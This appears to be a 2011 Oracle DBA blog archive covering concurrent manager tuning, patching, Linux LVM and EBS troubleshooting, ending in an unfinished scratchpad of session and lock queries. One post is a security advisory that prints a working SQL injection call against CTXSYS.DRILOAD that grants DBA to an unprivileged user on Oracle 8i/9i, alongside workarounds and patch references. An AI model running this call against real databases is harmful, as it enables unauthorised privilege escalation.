Monday, December 5, 2011

All about Oracle Concurrent Manager

The concurrent manager in Oracle EBS is a very important service. It manages the concurrentrequests submitted by users and does batch processing and report generation.

This blog article will help administrators to get insight of the concurrent manager and also control over its functionality.

Master Concurrent Managers
There are many concurrent managers in Oracle EBS application like Output Post Processor (related to XML publisher reports), Workflow Agent Listener Service (related to workflow notifications), Workflow Mailer Service (related to workflow notification mailer setup), Workflow Document Web Services Service, etc. But among all these concurrent managers are the three super concurrent managers and they are,

Internal Concurrent Manager — The master manager is called the Internal Concurrent Manager (ICM) because it controls the behavior of all of the other managers, and because the ICM is the boss, it must be running before any other managers can be activated. The main functions of the ICM are to start up and shutdown the individual concurrent managers, and reset the other managers after one of them has a failure.

Standard Manager — Another important master Concurrent Manager is called the Standard Manager (SM). The SM functions to run any reports and batch jobs that have not been defined to run in any specific product manager. Examples of specific concurrent managers include the Inventory Manager, CRP Inquiry Manager, and the Receivables Tax Manager.

Conflict Resolution Manager — The Conflict Resolution Manager (CRM) functions to check concurrent program definitions for incompatibility rules. However, the ICM can be configured to take over the CRM's job to resolve incompatibilities.

Enable Tracing for Concurrent Programs
For troubleshooting purposes if you want to enable tracing for a concurrent program then goto System Administrator-->Concurrent-->Program-->Define-->Here tick the checkbox 'Enable Trace' for the specific concurrent program that you want to generate trace for.


Now let's see as an Apps DBA, how to monitor and Tune the concurrent manager;

Tuning the Internal Concurrent Manager (ICM)
The ICM performance is affected by the three important Oracle parameters PMON cycle, queue size, and sleep time.

PMON cycle — This is the number of sleep cycles that the ICM waits between the time it checks for concurrent managers failures, which defaults to 20. You should change the PMON cycle to a number lower than 20 if your concurrent managers are having problems with abnormal terminations.

Queue Size — The queue size is the number of PMON cycles that the ICM waits between checking for disabled or new concurrent managers. The default for queue size of 1 PMON cycle should be used.

Sleep Time — The sleep time parameter indicates the seconds that the ICM should wait between checking for requests that are waiting to run. The default sleep time is 60, but you can lower this number if you see you have a lot of request waiting (Pending/Normal). However, reducing this number to a very low value many cause excessive cpu utilization.


Purging Concurrent Requests
It is recommended to run this program 'Purge concurrent request/manager data' once every week as a meintenance task. Sometimes some report output files doesn't get deleted so it is required to Set the system profile option "Concurrent: Force Local Output File Mode" to "Yes". You need to apply patch 7530490 for R12 (or) 7834670 for 11i to get this profile.

Refer Note.822368.1: Purge Concurrent Request FNDCPPUR Does Not Delete Files From File System or Slow performance

Note:- The profile option "Concurrent: Force Local Output File Mode" is set to "No" by default. After applying the patch, set the profile option to YES will
cause FNDCPPUR to always access files on the local file system, hence FNDCPPUR will remove the OS files faster.To enable this feature, All Concurrent Manager nodes must be able to access the output file location via the local filesystem.
Ensure that the log/out files are removed from the locations shown below as you run "Purge Concurrent Request and/or Manager Data program".
$APPLCSF/$APPLLOG==>P:\oracle\inst\apps\proderp_prodapp\logs\appl\conc\log $APPLCSF/$APPLOUT==>P:\oracle\inst\apps\proderp_prodapp\logs\appl\conc\out

Truncate the reports.log file in log directory.
Refer Note.844976.1 for more details.
Truncation of file "reports.log" is a regular maintenance work of Application DBA. Make sure that reports log file size should not increase to its maximum limit of 2 GB. There is no purge program to truncate file "reports.log". This maintenance needs to be done manually and regularly depending on number of concurrent program which uses "reports.log". You can safely truncate "reports.log". The "reports.log" file can be located under $APPLCSF/$APPLLOG.

Adjusting the Concurrent Manager Cache Size
Concurrent manager performance can also be enhanced by increasing the manager cache size to be at lease twice the number of target processes. The cache size specifies the number of requests that will be cached each time the concurrent manager reads from the FND_CONCURRENT_REQUESTS table. Increasing the cache size will boost the throughput of the managers by attempting to avoid sleep time.

Analyzing Oracle Apps Dictionary Tables for High Performance

It is also very important to run the request Gather Table Statistics on these tables:
FND_CONCURRENT_PROCESSES
FND_CONCURRENT_PROGRAMS
FND_CONCURRENT_REQUESTS
FND_CONCURRENT_QUEUES.
Run the request "Analyze All Index Column Statistics" on the indexes of these tables. Since the APPLSYS user is the owner of these tables, so you can also just run the request Analyze Schema Statistics for APPLSYS.
To troubleshoot performance, a DBA can use three types of trace. A module trace, such as PO or AR, can be set by enabling the module's profile option Debug Trace from within the applications. Second, most concurrent requests can be set to generate a trace file by changing the request parameters. To enable trace for a specific request, log in as a user with the System Administrator responsibility. Navigate to Concurrent -> Program -> Define. Query for the request that you want to enable trace. In the first picture given above you can check the box Enable Trace.

Another popular way to troubleshoot the Concurrent Managers is to generate a trace file. This is done by setting the OS environment variable FNDSQLCHK to FULL, and running the request from the command line.

Monitoring Pending Requests in the Concurrent Managers
Occasionally, you may find that requests are stacking up in the concurrent managers with a status of "pending". This can be caused by any of these conditions:
1. The concurrent managers were brought down will a request was running.
2. The database was shutdown before shutting down the concurrent managers.
3. There is a shortage of RAM memory or CPU resources.


When you get a backlog of pending requests, you can first allocate more processes to the manager that is having the problem in order to allow most of the requests to process, and then make a list of the requests that will not complete so they can be resubmitted, and cancel them.
To allocate more processes to a manager, log in as a user with the System Administrator responsibility. Navigate to Concurrent -> Manager -> Define. Increase the number in the Processes column (check second picture on this page).

Also, you may not need all the concurrent managers that Oracle supplies with an Oracle Applications install, so you can save resources by identifying the unneeded managers and disabling them.

However, you can still have problems. If the request remains in a phase of RUNNING and a status of TERMINATING after allocating more processes to the manager, then shutdown the concurrent managers, kill any processes from the operating system that won't terminate, and execute the following sqlplus statement as the APPLSYS user to reset the managers in the FND_CONCURRENT_REQUESTS table:

update fnd_concurrent_requests set status_code='X', phase_code='C'where status_code='T';

Changing Dispatching Priority within the Concurrent Manager
(Check first picture on this page) If there are requests that have a higher priority to run over other requests, you can navigate to Concurrent --> Program --> Define to change the priority of a request. If a priority is not set for a request, it will have the same priority as all other requests, or it will be set to the value specified in the user's profile option Concurrent:Priority.
Also, you can specify that a request run using an SQL optimizer mode of FIRST_ROWS, ALL_ROWS, RULE, or CHOOSE, and this can radically effect the performance of the SQL inside the Concurrent request. If several long running requests are submitted together, they can cause fast running requests to have to wait unnecessarily. If this is occurring, try to schedule as many long running requests to run after peak business hours. Additionally, a concurrent manager can be created to run only fast running requests.


Using data Dictionary Scripts with the Concurrent Manager
Few Oracle Applications DBAs understand that sophisticated data dictionary queries can be run to reveal details about the workings within each Concurrent Manager. Oracle provides several internal tables that can be queried from SQL*Plus to see the status of the concurrent requests, and the most important are FND_CONCURRENT_PROGRAMS and FND_CONCURRENT_REQUESTS.

Oracle supplies several useful scripts, (located in $FND_TOP/sql directory), for monitoring the concurrent managers:

afcmstat.sql Displays all the defined managers, their maximum capacity, pids, and their status.

afimchk.sql Displays the status of ICM and PMON method in effect, the ICM's log file, and determines if the concurrent manger monitor is running.

afcmcreq.sql Displays the concurrent manager and the name of its log file that processed a request.

afrqwait.sql Displays the requests that are pending, held, and scheduled.

afrqstat.sql Displays of summary of concurrent request execution time and status since a particular date.

afqpmrid.sql Displays the operating system process id of the FNDLIBR process based on a concurrent request id. The process id can then be used with the ORADEBUG utility.

afimlock.sql Displays the process id, terminal, and process id that may be causing locks that the ICM and CRM are waiting to get. You should run this script if there are long delays when submitting jobs, or if you suspect the ICM is in a gridlock with another oracle process.

In addition to these canned scripts you can skill write custom Concurrent Manager scripts. For example, the following query can be executed to identify requests based on the number of minutes the request ran:

SELECT
fcr.request_id request_id,
TRUNC(((fcr.actual_completion_date-fcr.actual_start_date)/(1/24))*60) exec_time,
fcr.actual_start_date start_date,
fcp.concurrent_program_name conc_prog,
fcpt.user_concurrent_program_name user_conc_prog
FROM
fnd_concurrent_programs fcp,
fnd_concurrent_programs_tl fcpt,
fnd_concurrent_requests fcr
WHERE
TRUNC(((fcr.actual_completion_date-fcr.actual_start_date)/(1/24))*60) > NVL('&min',45)
and
fcr.concurrent_program_id = fcp.concurrent_program_id
and
fcr.program_application_id = fcp.application_id
and
fcr.concurrent_program_id = fcpt.concurrent_program_id
and
fcr.program_application_id = fcpt.application_id
and
fcpt.language = USERENV('Lang')
ORDER BY
TRUNC(((fcr.actual_completion_date-fcr.actual_start_date)/(1/24))*60) desc;


Note that this script prompts you for the number of minutes.

Conclusion
The Oracle Concurrent Managers remain one of Oracle most important components for the Oracle Applications eBusiness suite and they perform an important TP monitor function. It is only by properly understand the functions and tuning of the Concurrent Managers that the Oracle Apps DBA can be successful in keep their sophisticated Applications optimizer for high-performance.

References: Oracle Metalink and sir Burlesons site.

If you have any question please don't hesitate to email me at samiora@gmail.com

Wednesday, November 2, 2011

How to apply patch when adpatch is running

How to apply patch when adpatch is currently running?

Some times you might apply a patch and during the process the patch failed at some workers, you search on metalink and find out that you need to apply patch in order to solve this failure, here in this case you have two options either to cancel the current patch and apply the fixing patch then reapply the patch again or you can do the following (apply the fixing patch without the need to reapply the first patch and its very helpful when you applying a huge patch).

Steps to do that are:
1. Using the adctrl utility, shutdown the workers.
2. Backup the FND_INSTALL_PROCESSES and AD_DEFERRED_JOBS tables.
3. Backup the .rf9 files located in $APPL_TOP/admin//restart directory.
4. Drop the FND_INSTALL_PROCESSES and AD_DEFERRED_JOBS tables.
5. Apply the new patch. Once this new patch is appiled successfully, then restart the previous failed patch by the following steps.
6. Restore the backed up .rf9 files.
7. Restore the FND_INSTALL_PROCESSES table.
8. Restore the AD_DEFERRED_JOBS table.
9. Re-create synonyms for APPLSYS.AD_DEFERRED_JOBS and APPLSYS.FND_INSTALL_PROCESSES.
10. Start adpatch, it will resume where it stopped previously.

If you need any assistance please don't hesitate to email me [samiora@gmail.com]

Sunday, October 16, 2011

Linux Logical Volume Manager LVM

PARTITION--->PHYSICAL VOLUME ---> VOLUME GROUP ---> LOGICAL VOLUME



-> LVM is a method of allocating hard drive space into logical volumes that can be easily resized.
-> With LVM, the hard drive or set of hard drives is allocated to one or more Physical Volumes.
-> The Physical volume PV are then combined into Volume Groups VG.

Steps for creating normal volumes

1. Create partition
# fdisk /dev/sda
:l <- this gives all ID's i.e. list all known partion types
:t <- to change partition's system ID
:9 <- example partion number to be created
:8e <- 'linux LVM' system partion type code
:p <- print the partition table
:w <- write talbe to disk and exit

The above steps create a new partition with 'linux LVM' type.

2. Check and create physical volumes[root@dregpodb /]# pvdisplay

--- Physical volume ---
PV Name /dev/dm-8
VG Name vg01
PV Size 150.00 GB / not usable 4.00 MB
Allocatable yes (but full)
PE Size (KByte) 4096
Total PE 38399
Free PE 0
Allocated PE 38399
PV UUID kuEpoH-xXL0-c7LU-Vf6Q-7Uj7-xxKn-MmmZLV

--- Physical volume ---
PV Name /dev/cciss/c0d0p2
VG Name vg00
PV Size 136.20 GB / not usable 14.56 MB
Allocatable yes
PE Size (KByte) 32768
Total PE 4358
Free PE 102
Allocated PE 4256
PV UUID 12osfI-bJBr-NtUy-0mo7-j3ZD-Aeqx-9m0N3P

[root@dregpodb /]#pvcreate /dev/dm-9

[root@dregpodb /]# pvdisplay
--- Physical volume ---
PV Name /dev/dm-9
VG Name vg02
PV Size 100.00 GB / not usable 4.00 MB
Allocatable yes (but full)
PE Size (KByte) 4096
Total PE 25599
Free PE 0
Allocated PE 25599
PV UUID 6Mjkim-P13j-Afu2-pUE7-E4l2-VfyB-dZ68VE

--- Physical volume ---
PV Name /dev/dm-8
VG Name vg01
PV Size 150.00 GB / not usable 4.00 MB
Allocatable yes (but full)
PE Size (KByte) 4096
Total PE 38399
Free PE 0
Allocated PE 38399
PV UUID kuEpoH-xXL0-c7LU-Vf6Q-7Uj7-xxKn-MmmZLV

--- Physical volume ---
PV Name /dev/cciss/c0d0p2
VG Name vg00
PV Size 136.20 GB / not usable 14.56 MB
Allocatable yes
PE Size (KByte) 32768
Total PE 4358
Free PE 102
Allocated PE 4256
PV UUID 12osfI-bJBr-NtUy-0mo7-j3ZD-Aeqx-9m0N3P

3. Volume Group creation#vgcreate vg02 /dev/dm-9

[root@dregpodb /]# vgdisplay
--- Volume group ---
VG Name vg02
System ID
Format lvm2
Metadata Areas 1
Metadata Sequence No 2
VG Access read/write
VG Status resizable
MAX LV 0
Cur LV 1
Open LV 1
Max PV 0
Cur PV 1
Act PV 1
VG Size 100.00 GB
PE Size 4.00 MB
Total PE 25599
Alloc PE / Size 25599 / 100.00 GB
Free PE / Size 0 / 0
VG UUID LdtcHj-g26p-BSRu-g9Wi-vcqj-dQki-nGoM2e

--- Volume group ---
VG Name vg01
System ID
Format lvm2
Metadata Areas 1
Metadata Sequence No 2
VG Access read/write
VG Status resizable
MAX LV 0
Cur LV 1
Open LV 1
Max PV 0
Cur PV 1
Act PV 1
VG Size 150.00 GB
PE Size 4.00 MB
Total PE 38399
Alloc PE / Size 38399 / 150.00 GB
Free PE / Size 0 / 0
VG UUID dhdeBn-kdIP-frWp-gODa-9X6f-0dW7-rOAmzQ

--- Volume group ---
VG Name vg00
System ID
Format lvm2
Metadata Areas 1
Metadata Sequence No 9
VG Access read/write
VG Status resizable
MAX LV 0
Cur LV 8
Open LV 8
Max PV 0
Cur PV 1
Act PV 1
VG Size 136.19 GB
PE Size 32.00 MB
Total PE 4358
Alloc PE / Size 4256 / 133.00 GB
Free PE / Size 102 / 3.19 GB
VG UUID JYPuCP-9ezo-hg8v-pvE9-1GAL-8o4F-UhezPC

4. Logical Volume Creation# lvcreate -L 100g /dev/vg02 -n /dev/vg02/lvol01

[root@dregpodb /]# lvdisplay -v
Finding all logical volumes
--- Logical volume ---
LV Name /dev/vg02/lvol01
VG Name vg02
LV UUID T5EIW5-OiIS-WhvA-Wp0d-X0mL-4tKF-GxXY4u
LV Write Access read/write
LV Status available
# open 2
LV Size 100.00 GB
Current LE 25599
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 253:10

5. Format and mount logical volumes
#mkfs.ext3 /dev/vg02/lvol01
#mkdir /u01
#mount /dev/vg02/lvol01 /u01
#df -h
[root@dregpodb /]# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg00-lvol01
9.7G 435M 8.8G 5% /
/dev/mapper/vg00-lvol04
12G 3.4G 7.7G 31% /usr
/dev/mapper/vg00-lvol03
9.7G 157M 9.1G 2% /home
/dev/mapper/vg00-lvol05
9.7G 336M 8.9G 4% /var
/dev/mapper/vg00-lvol08
49G 42G 4.1G 92% /u03
/dev/mapper/vg00-lvol07
9.7G 187M 9.1G 2% /tmp
/dev/mapper/vg00-lvol06
15G 320M 14G 3% /opt
/dev/cciss/c0d0p1 487M 21M 441M 5% /boot
tmpfs 3.9G 0 3.9G 0% /dev/shm
/dev/mapper/vg01-lvol0
148G 33G 108G 24% /u02
/dev/mapper/vg02-lvol01
99G 42G 52G 45% /u01

6. Resizing the logical volume#lvresize -L +50g /dev/vg02/lvol01 <-This will add 50g to existing 100g size
#resize2fs /dev/vg02/lvol01 <-This will update the kernel with changes

7. Extending size of a volume group#vgdisplay
#vgextend /dev/vg02 /dev/sda12
#vgdisplay

To check graphically about volumes use the following tool,
#system-config-lvm &

--------Additional commands------------
eject <-- To eject cd-rom device
eject -t <-- To insert the cd-rom device
init 6 <-- to reboot server

hwbrowser &<-- To view available free space of a disk
df -h <-- To view free space in a partition
du -sh <--- To view total amount of used space in a partition directory

e2label /dev/sda8 sami <-- To add a lable
e2label /dev/sda8 "" <-- To remove a lable

mkfs.etc3 L sami /dev/sda8 <-- format the partition and add a lable

Sunday, September 11, 2011

Oracle EBS r12 troubleshooting & useful notes

1. Canceling of concurrent Request Gives “the concurrent manager process that was running this request has exited abnormally “
Some times we get a Request from customers that they are unable to cancel the request because of this error

“the concurrent manager process that was running this request has exited abnormally .The ICM will mark this request as completed with error.”"

How to navigate :
=-=-==-=-=-=-=-=-=-==
Tried to Cancel a concurrent request. Used the “Cancel Request” button from the Administer > Concurrent > Manager form.

Got the following message:

Request xxxxxx can no longer be cancelled. The Concurrent Manager Process that was running this request has exited abnormally. The ICM will mark this request as completed with error.

Solution
======
This can be safely done while managers are up and running with little care

1) Backup fnd_concurrent_requests table

2) SQL> UPDATE fnd_concurrent_requests
SET phase_code = ‘C’, status_code = ‘X’
WHERE Request_id=&request_id

Here Request id is the request which we want to cancel….

3) Commit

------------------------------------------------------------------------------------------------

2. Oracle EBS r12 Diagnostic Tests.

To execute a diagnostic test for,
Log File Test
DBC Parameter Test
Class Path Test
Java Run-Time Environment Version Test
Java System Property Report test

Go to 'system administrator' responsibility--->Under 'System Administration: Diagnostics'--->Click 'Diagnostic Test'-->Here run all tests under application "HTML Platform".

In the Report output under 'View Reports' tab you can see the result of the above tests. For example it includes, what the current guest username is set to and if it is successfully authenticated (this is displayed in the value "Diagnostic Test Executed By" in the report output).
-------------------------------------------------------------------------------------------

3. what is the usage & Contents of .dbc file in 11i/R12

dbc is the database connect descriptor file that stores database connection information used by application tier to connect to the database.
The file is found in $FND_TOP/secure directory also called as FND_SECURE.

Location of .dbc file in 11i is: $FND_TOP/SECURE OR $FND_SECURE

Location of .dbc file in R12 is: $INST_TOP/appl/fnd/12.0.0/secure

If we interpret .dbc file it contains the following,

GUEST_USER_PWD – Guest username & password
APPL_SERVER_ID – Used to Identify the Databse by Server ID, this ID is also stored in SERVER_ID column of FND_NODES table.
GWYUID – APPLSYSPUB user name and password
DBhostname - DB server name
dbport - Database Listener Port number

Other than these, the following are some other parameters with their default values, these are related to the Performance,

FND_JDBC_BUFFER_DECAY_INTERVAL=300
FND_JDBC_BUFFER_MIN=1
FND_JDBC_BUFFER_MAX=5
FND_JDBC_STMT_CACHE_FREE_MEM=TRUE
FND_JDBC_STMT_CACHE_SIZE=200
FND_MAX_JDBC_CONNECTIONS=500
FND_JDBC_USABLE_CHECK=false
FNDNAM=APPS
FND_JDBC_PLSQL_RESET=false
FND_JDBC_CONTEXT_CHECK=true
FND_JDBC_BUFFER_DECAY_SIZE=5

--------------------------------------------------------------------------------------

4. How to drop/delete an application user

We can only deactivate or end-date the application user in Oracle EBS using the application front end. While we cannot delete an application user, but if you try to delete it from the database then it might crash the system and more over it is not supported by oracle.

To deactivate or end-date the application user you can use any one of the following methods,

Method I:
—————
Login to Oracle Applications – Goto System Administrator responsibility – Under 'Security' – User – Define – Search user name – then you can give end date in the Effectives Date To column.

Method II:
=======

It's always recommended to use the above method to end-date/deactivate application user.
Even though the following method is not supported by oracle support, End-dating the user from backend database is also possible with the following steps, This is also mentioned in Note 1039608.6

Login as 'APPS' database user. Then take a backup of fnd_user table just in case if any issue comes then you can restore this table instead of the whole database restore.

SQL>CREATE TABLE BKUP_FND_USER AS SELECT * FROM FND_USER;

SQL>update fnd_user set end_date='27-JUL-2011' where user_name like ‘%%’;


-------------------------------------------------------------------------

5. How to know the Oracle Ebusiness Suite 11i / r12 application URL?

select home_url from apps.icx_parameters;

or

grep -i login $APPL_TOP/admin/Context_name.xml

----------------------------------------------

6. fnd_install_processes & ad_deferred_jobs tables

When a patch is applied using adpatch it will ask number of workers. These workers are used to run some task like executing some perl scripts, running sql scripts, etc.

If u check in the patch log file before assigning any job to workers the two tables fnd_install_processes and ad_deferred_jobs are created.
After the job is finished the tables are dropped automatically. The following is the purpose of these tables,

fnd_install_processes – This table is used to store the information about the job given to the worker. It will insert a row for each worker when it assigned a job.

ad_deferred_jobs – this table is used to store the information about the deferred jobs (jobs failed to run).

---------------------------------------------
7. Steps to manually stage r12 software

make a directory stage
in that (mkdir stage)

copy the start cd (mkdir startCD) -> startCD
copy the Tools-Disk1(mkdir oraiAS) ->oraiAS
copy the RDBMS Disk1 (mkdir oraDB) -> oraDB
copy the Databases disk1,disk2,disk3,disk4 (mkdir oraAppDB) ->oraAppDB
copy the APPL_TOP dis1 and 2 to (mkdir oraApps) -> oraApps

The automatic staging command is,

perl d:\mnt\cdrom\Disk1\rapidwiz\adautostg.pl
The stage script message informs you that you may either stage all the Rapid Installcomponents, or selected components only.
--------------------------------------------

8. Oracle Applications Current Patchsets Comparison Utility (Script to Analyze) Patchsets.sh

The program (Patchsets.sh) compares the currently installed patchsets and family packs to the most recently available ones generated by Oracle Development.


NOTE: The patchsets.sh program is frequently updated by the Oracle development team with the latest patchsets data in it.
So, this means that you need to get the latest version to get an up-to-date report.

*Download the latest Patchsets.sh script from: ftp://ftp.oracle.com/support/outgoing/PATCHSET_COMPARE_TOOL/patchsets.sh
*Also refer to metalink note ID 139684.1 for latest updates and how to run this program, the steps to run this program is compiled in short form.

This program utilizes direct database connectivity or the applptch.txt file for 10.7-11.0. For 11i and R12, it utilizes a combination of tables such as AD_BUGS and AD_APPLIED_PATCHES to create the installed patch list. If the 11i release does not use these AD tables (11.5.4 or lower and have not applied 11i.AD.E or higher) it still supports using applptch.txt for 11i.

Setup Requirements:
Must have connectivity to EBS database via sql*net with $TWO_TASK set
Source $APPL_TOP/APPSxx.env file or just setup database env such as ORACLE_HOME and TWO_TASK

Running the Patchsets Comparison Tool:

•11i - $ . $APPL_TOP/APPSORA.env
•R12 - $ . $APPL_TOP/APPS{sid}_{machine}.env
Note: As long as you can connect with sqlplus and $TWO_TASK, the script should have the access it needs.

Usage: $ patchsets.sh [connect=11i_login/pwapplptch=/path/applptch.txt] [-h] [silent=y] default is n, [htmlout=file]

Example Help:
$ patchsets.sh -h

Example Html Output in Silent Mode:
$ ./patchsets.sh applptch=/applptch_11i.txt htmlout=Report.html silent=y

$ ./patchsets.sh connect=apps/apps_password_here htmlout=xxReport.html


Columns in The Output of script:
Baseline Version: This is the baseline release version that come with EBS release
Running Version: This is The Current High Level Code running on instance..or currrent patch level
Latest AvailableStatus: THis Is the Latest Patches Available from The ORACLE for that module…


Platform Specific Issues:
TO RUN UNDER NT with MKS:
--> Get to the drive where the appl_top is.
C:> D:
D:\>
Make a tmp directory on that drives root.
D:> mkdir tmp (this is where the patchset lists get created)

--> cd to the APPL_TOP path and then execute the envshell to setup the env variables.
D:\> cd D:\apps\visappl
D:\apps\visappl> envshell
A new window spawns with the correct env settings, use it for next step

-->Start the MKS SHELL,
D:\apps\visappl> sh
$

--> Run the patchsets program from the APPL_TOP/admin/ directory
$ cd /admin/VIS
$ ./patchsets.sh applptch=applptch.txt


NOTE: Download the Patchsets.sh script from: ftp://ftp.oracle.com/support/outgoing/PATCHSET_COMPARE_TOOL/patchsets.sh

NOTE: Also you can get this script from metalink note : Oracle Applications Current Patchset Comparison Utility – patchsets.sh [ID 139684.1]

Tuesday, August 16, 2011

Patch Application Assistant PAA admsi.pl

PAA (Patch Application Assistant) admsi.pl is tool/Perl script to generate customized installation instructions for a patch in Oracle Applications R12 that helps user to track and perform manual steps during patching.

1. admsi.pl is under $AD_TOP/bin
2. You can run admsi.pl (Patch Application Assistant) in two mode
i) GUI (Graphical User Interface)
ii) CLI (Command Line Interface)
3. Once you complete manual steps as instructed in PAA report, you can record that step as completed.

How to Run PAA (Patch Application Assistant) in R12

1. Source environment file i.e. $ORACLE_R12_BASE/apps/apps_st/appl/APPS[SID]_[hostname].env

2. Run PAA using admsi.pl in either CLI or GUI

2.1 CLI mode
perl admsi.pl -patch_top=[patch-top-directory]-appspass=[apps-password]

For example to generate PAA report for 12.0.6 patch (6728000) run it as
perl $AD_TOP/bin/admsi.pl -patch_top=/stage/oracle/patches/r12/6728000 -appspass=apps
Gathering Information..
Logfile for this session is located at admsi.log
Generating installation instructions for patch 6728000..
Updating database….
install_6728000.html generated successfully
install_6728000.txt generated successfully


Now view report (text or html format) containing manual steps for 12.0.6


2.2 GUI
Invoke PAA in GUI by running admsi.pl as shown below

i. Source environment file
ii. Then run the command 'admsi.pl' without any arguments
iii. Next step is to select from one of three options, I selected option 1 i.e. to find instance specific instructions for 12.0.6 patch (6728000), then complete the wizard steps by selecting appropriate values and the location of the patch folder.
iv. Once you get list of manual steps, follow instructions in report
v. Apply apps patches using AUTOPATCH utility (adpatch)

For any further assistance or doubts please don't hesitate to email me at samiora@gmail.com

Wednesday, July 27, 2011

Oracle R12 & 11i Patchsets Comparison Utility

Oracle Applications Current Patchsets Comparison Utility (Script to Analyze) Patchsets.sh

The program (Patchsets.sh) compares the currently installed patchsets and family packs to the most recently available ones generated by Oracle Development.

NOTE: The patchsets.sh program is frequently updated by the Oracle development team with the latest patchsets data in it. So, this means that you need to get the latest version to get an up-to-date report.

*Download the latest Patchsets.sh script from:

ftp://ftp.oracle.com/support/outgoing/PATCHSET_COMPARE_TOOL/patchsets.sh

--> Also refer to metalink note ID 139684.1 for latest updates and how to run this program, the steps to run this program is compiled in short form.

This program utilizes direct database connectivity or the applptch.txt file for 10.7-11.0. For 11i and R12, it utilizes a combination of tables such as AD_BUGS and AD_APPLIED_PATCHES to create the installed patch list. If the 11i release does not use these AD tables (11.5.4 or lower and have not applied 11i.AD.E or higher) it still supports using applptch.txt for 11i.

1. Setup Requirements:
Must have connectivity to EBS database via sql*net with $TWO_TASK set
Source $APPL_TOP/APPSxx.env file or just setup database env such as ORACLE_HOME and TWO_TASK

2. Running the Patchsets Comparison Tool:

•11i - $ . $APPL_TOP/APPSORA.env
•R12 - $ . $APPL_TOP/APPS{sid}_{machine}.env
Note: As long as you can connect with sqlplus and $TWO_TASK, the script should have the access it needs.

Usage: $ patchsets.sh [connect=11i_login/pwapplptch=/path/applptch.txt] [-h] [silent=y] default is n, [htmlout=file]

Example Help:
$ patchsets.sh -h

Example Html Output in Silent Mode:
$ ./patchsets.sh applptch=/applptch_11i.txt htmlout=Report.html silent=y

$ ./patchsets.sh connect=apps/apps_password_here htmlout=xxReport.html

3. Columns in The Output of script:
Baseline Version: This is the baseline release version that come with EBS release
Running Version: This is The Current High Level Code running on instance..or currrent patch level
Latest AvailableStatus: THis Is the Latest Patches Available from The ORACLE for that module…

4. Platform Specific Issues:
TO RUN UNDER NT with MKS:
--> Get to the drive where the appl_top is.
F:\>
Make a tmp directory on that drives root.
F:>mkdir tmp (this is where the patchset lists get created)

--> cd to the APPL_TOP path and then execute the envshell to setup the env variables.
F:\> cd F:\oracle\apps\apps_st\appl
F:\oracle\apps\apps_st\appl> dhrms_devapps.cmd
A new window spawns with the correct env settings, use it for next step

--> Run the patchsets program from F:\ where the tmp directory was created in earlier step
F:\> patchsets.sh connect=apps/apps_password_here htmlout=xxReport.html
(or)
F:\> patchsets.sh applptch=applptch_11i.txt htmlout=Report.html silent=y

NOTE: Download the latest Patchsets.sh script from: ftp://ftp.oracle.com/support/outgoing/PATCHSET_COMPARE_TOOL/patchsets.sh

Reference: Also you can get this script from metalink note : Oracle Applications Current Patchset Comparison Utility – patchsets.sh [ID 139684.1]

For any help on running this script or to analyze the output result, please don't hesitate to email me at samiora@gmail.com

Saturday, June 11, 2011

SQL Injection via CTXSYS.DRILOAD in 8i and 9i

SQL Injection via CTXSYS.DRILOAD in Oracle 8i and 9i databases

Systems Affected: are Oracle 8.i and Oracle9i on all platforms
Severity: High Risk
Category: SQL Injection

Details: Any valid database user can become DBA (if CTXSYS is installed) by executing the package DRILOAD by submitting a specially crafted parameter.

Oracle 10g and 11g are NOT affected.
Workarounds: Drop user CTXSYS (if not needed) or 'revoke public grant from CTXSYS.DRILOAD'.

Example: sqlplus scott/tiger@tnsname (or every other unprivileged user)

SQL> exec ctxsys.driload.validate_stmt('grant dba to scott');

BEGIN ctxsys.driload.validate_stmt('grant dba to scott'); END;
*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1

The above ORA- error is displayed but actually the dba role got granted to scott user.
Fix: On 8i and 9i database there is a patch available to fix this security vulnarability, Please see MetaLink document ID 281189.1 for the patch download procedures and for the Patch Availability Matrix for this Oracle Security Alert.



---->>>>rough<<<-----QUICK SQL<<<----
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE USERNAME='XXHR';
select * from gv$session where client_identifier='ASAMI00123';
SELECT SID,SERIAL#,BLOCKING_SESSION,CLIENT_IDENTIFIER FROM GV$SESSION WHERE CLIENT_IDENTIFIER='ASAMI00123';
select 'ALTER SYSTEM KILL SESSION ' || '''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''''  || ' IMMEDIATE;' From gv$session where action like '%XXORACLE_HR_COMP_SUPPORT%';
SELECT a.sid,a.serial#, a.username,c.os_user_name,a.terminal,
b.object_id,substr(b.object_name,1,40) object_name,sysdate
from v$session a, dba_objects b, v$locked_object c
where a.sid = c.session_id
and b.object_id = c.object_id;
select
   c.owner,
   c.object_name,
   c.object_type,
   b.sid,
   b.serial#,
   b.status,
   b.osuser,
   b.machine
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id;

SELECT
b.action,
c.object_name,
c.object_type,
b.SID,
b.serial#,
c.owner,
c.object_name,
c.object_type,
b.SID,
b.serial#,
b.status,
b.osuser,
b.machine
FROM
v$locked_object a ,
v$session b,
dba_objects c
WHERE
b.SID = a.session_id
AND
a.object_id = c.object_id
and object_name in
(select
   c.object_name
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id);

SELECT
b.action,
b.SID,
b.serial#,
b.SID,
b.serial#,
b.status,
b.osuser,
b.machine
FROM
v$session b
where action in (
SELECT
b.action
FROM
v$locked_object a ,
v$session b,
dba_objects c
WHERE
b.SID = a.session_id
AND
a.object_id = c.object_id
and object_name in
(select
   c.object_name
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id));

select * From gv$session where action like '%PROPERTY%';
select * From gv$session where sid=10516 and serial#=39831;
SELECT   SID, serial#,
         ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1)
               ) "Elapsed_Time P Exec",
         ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1) / 60
               ) "Elapsed_Time P Exec Min",
         audsid, blocking_session, se.client_identifier,event, se.sql_id, program, se.action,
         username, machine, osuser, logon_time, executions, elapsed_time,
